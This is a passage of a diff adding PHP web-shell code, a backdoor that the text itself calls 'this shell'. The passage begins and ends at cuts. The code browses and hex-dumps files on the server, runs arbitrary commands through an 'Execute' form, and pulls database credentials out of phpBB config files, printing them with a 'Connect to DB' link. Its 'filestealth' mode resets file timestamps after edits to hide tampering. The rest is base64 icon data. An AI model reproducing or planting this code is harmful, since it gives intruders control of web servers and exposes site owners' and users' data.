src=\"".$surl."x=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>"; + foreach($arr as $t) { + if ($t[1] == $rft) {echo " <a href=\"".$surl."x=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";} + elseif ($t[1] == $ft) {echo " <a href=\"".$surl."x=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";} + else {echo " <a href=\"".$surl."x=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";} + echo " (<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |"; + } + echo "<hr size=\"1\" noshade>"; + if ($ft == "info") { + echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>"; + if (!$win) { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d.$f)); + $gr = posix_getgrgid(filegroup($d.$f)); + echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."x=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table>"; + $fi = fopen($d.$f,"rb"); + if ($fi) { + if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));} + else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} + $n = 0; + $a0 = "00000000<br>"; + $a1 = ""; + $a2 = ""; + for ($i=0; $i<strlen($str); $i++) { + $a1 .= sprintf("%02X",ord($str[$i]))." "; + switch (ord($str[$i])) { + case 0: $a2 .= "<font>0</font>"; break; + case 32: + case 10: + case 13: $a2 .= "&nbsp;"; break; + default: $a2 .= htmlspecialchars($str[$i]); + } + $n++; + if ($n == $hexdump_rows) { + $n = 0; + if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";} + $a1 .= "<br>"; + $a2 .= "<br>"; + } + } + echo "<table border=1 bgcolor=#666666>". + "<tr><td bgcolor=#666666>".$a0."</td>". + "<td bgcolor=#000000>".$a1."</td>". + "<td bgcolor=#000000>".$a2."</td>". + "</tr></table><br>"; + } + $encoded = ""; + if ($base64 == 1) { + echo "<b>Base64 Encode</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + } + elseif($base64 == 2) { + echo "<b>Base64 Encode + Chunk</b><br>"; + $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); + } + elseif($base64 == 3) { + echo "<b>Base64 Encode + Chunk + Quotes</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); + } + elseif($base64 == 4) { + $text = file_get_contents($d.$f); + $encoded = base64_decode($text); + echo "<b>Base64 Decode"; + if (base64_encode($encoded) != $text) {echo " (failed)";} + echo "</b><br>"; + } + if (!empty($encoded)) + { + echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>"; + } + echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b> + <nobr>[<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr> + <nobr>[<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr> + <nobr>[<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr> + <nobr>[<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr> + <P>"; + } + elseif ($ft == "html") { + if ($white) {@ob_clean();} + echo $r; + if ($white) {capriv8exit();} + } + elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";} + elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";} + elseif ($ft == "phpsess") { + echo "<pre>"; + $v = explode("|",$r); + echo $v[0]."<br>"; + var_dump(unserialize($v[1])); + echo "</pre>"; + } + elseif ($ft == "exe") { + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($exeftypes as $k=>$v) + { + if (in_array($ext,$v)) {$rft = $k; break;} + } + $cmd = str_replace("%f%",$f,$rft); + echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=x value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>"; + } + elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";} + elseif ($ft == "code") { + if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) { + $arr = explode("\n",$r); + if (count($arr == 18)) { + include($d.$f); + echo "<b>phpBB configuration is detected in this file!<br>"; + if ($dbms == "mysql4") {$dbms = "mysql";} + if ($dbms == "mysql") {echo "<a href=\"".$surl."x=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";} + else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by this shell. Please, report us for fix.";} + echo "Parameters for manual connect:<br>"; + $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); + foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";} + echo "</b><hr size=\"1\" noshade>"; + } + } + echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">"; + if (!empty($white)) {@ob_clean();} + highlight_file($d.$f); + if (!empty($white)) {capriv8exit();} + echo "</div>"; + } + elseif ($ft == "download") { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".filesize($d.$f)); + header("Content-disposition: attachment; filename=\"".$f."\";"); + echo $r; + exit; + } + elseif ($ft == "notepad") { + @ob_clean(); + header("Content-type: text/plain"); + header("Content-disposition: attachment; filename=\"".$f.".txt\";"); + echo($r); + exit; + } + elseif ($ft == "img") { + $inf = getimagesize($d.$f); + if (!$white) { + if (empty($imgsize)) {$imgsize = 20;} + $width = $inf[0]/100*$imgsize; + $height = $inf[1]/100*$imgsize; + echo "<center><b>Size:</b>&nbsp;"; + $sizes = array("100","50","20"); + foreach ($sizes as $v) { + echo "<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">"; + if ($imgsize != $v ) {echo $v;} + else {echo "<u>".$v."</u>";} + echo "</a>&nbsp;&nbsp;&nbsp;"; + } + echo "<br><br><img src=\"".$surl."x=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>"; + } + else { + @ob_clean(); + $ext = explode($f,"."); + $ext = $ext[count($ext)-1]; + header("Content-type: ".$inf["mime"]); + readfile($d.$f); + exit; + } + } + elseif ($ft == "edit") { + if (!empty($submit)) + { + if ($filestealth) {$stat = stat($d.$f);} + $fp = fopen($d.$f,"w"); + if (!$fp) {echo "<b>Can't write to file!</b>";} + else + { + echo "<b>Saved!</b>"; + fwrite($fp,$edit_text); + fclose($fp); + if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} + $r = $edit_text; + } + } + $rows = count(explode("\r\n",$r)); + if ($rows < 10) {$rows = 10;} + if ($rows > 30) {$rows = 30;} + echo "<form action=\"".$surl."x=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."x=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>"; + } + elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";} + else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";} +} +echo "</div>\n"; +} +} +else { +@ob_clean(); +$images = array( +"arrow_ltr"=> +"R0lGODlhJgAWAIABAP///wAAACH5BAHoAwEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQSIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==", +"back"=> +"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt". +"Wg0JADs=", +"buffer"=> +"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo". +"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD". +"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==", +"change"=> +"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+". +"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA". +"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC". +"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA". +"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL". +"zMshADs=", +"delete"=> +"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp". +"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw". +"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv". +"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl". +"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5". +"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4". +"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G". +"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ". +"jwVFHBgiEGQFIgQasYkcSbJQIAA7", +"download"=> +"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu". +"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=", +"forward"=> +"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt". +"WqsJADs=", +"home"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS". +"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j". +"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=", +"mode"=> +"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO". +"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/". +"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=", +"search"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//". +"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap". +"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD". +"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr". +"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==", +"setup"=> +"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC". +"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB". +"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE". +"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==", +"small_dir"=> +"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABmJLR0QAAAAAAAD5Q7t/AAAACXBIWXMAAA3XAAAN1wFCKJt4AAAAB3RJTUUH1QsKEjkN+d1wUAAAAX9JREFUOMulkU2IUlEYhp9jKv5AposQWgRBtA6CmSCa5SzjYhG0qYggiP6Y3WxmtrMIol1QM84qRKRlSVC2bBcYRpuIIigFC7F7j0fP/WZx7QriBc2XDw6cw/e8L+9Rly6XtorF4jZTMsYE58Dc2tvdf0KE1J17t+X61RszH7X2eLb3lF6vd6VaqT2PBJSci7Q+taJMeNt4M331qFqpPQCIA6TTGY7k8pEA50IpcFMKpRS1F9X7QAAwxuB5Lq8/9ml2Msylww5nbjpSSOnPYYJmJ8PjjXW0sXMxUslD3H1YPxUH8DwXgJ+/NV/af+cCnDiaBSCmtSadnjP6DMVc1w0T/BfgXwdLARZNYK2PHgZlh7+QiPkIICIopRARRMAXwVphaH3MSBiMLEMr5LLJCcDzXI7nBnT7hh9dD0ThI4wHERAEkTEYGFmZAH512pw+e44PX/+MlwJ3EfARBAUiYaqVkwXqL1+R19/L6vy1nYabOLa2aHnZ4bf378qbqyyrA8KHtMqnsOL4AAAAAElFTkSuQmCC", +"small_unk"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U". +"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo". +"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31". +"/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4". +"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP". +"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz". +"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ". +"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io". +"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz". +"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM". +"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC". +"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj". +"yAsokBkQADs=", +"multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR". +"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==", +"sort_asc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa". +"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==", +"sort_desc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb". +"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=", +"sql_button_drop"=> +"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA". +"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/". +"AQEAOw==", +"sql_button_empty"=> +"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA". +"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==", +"sql_button_insert"=> +"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA". +"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=", +"up"=> +"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg". +"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV". +"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==", +"write"=> +"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze". +"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61". +"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==", +"ext_asp"=> +"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/". +"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI". +"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=", +"ext_mp3"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU". 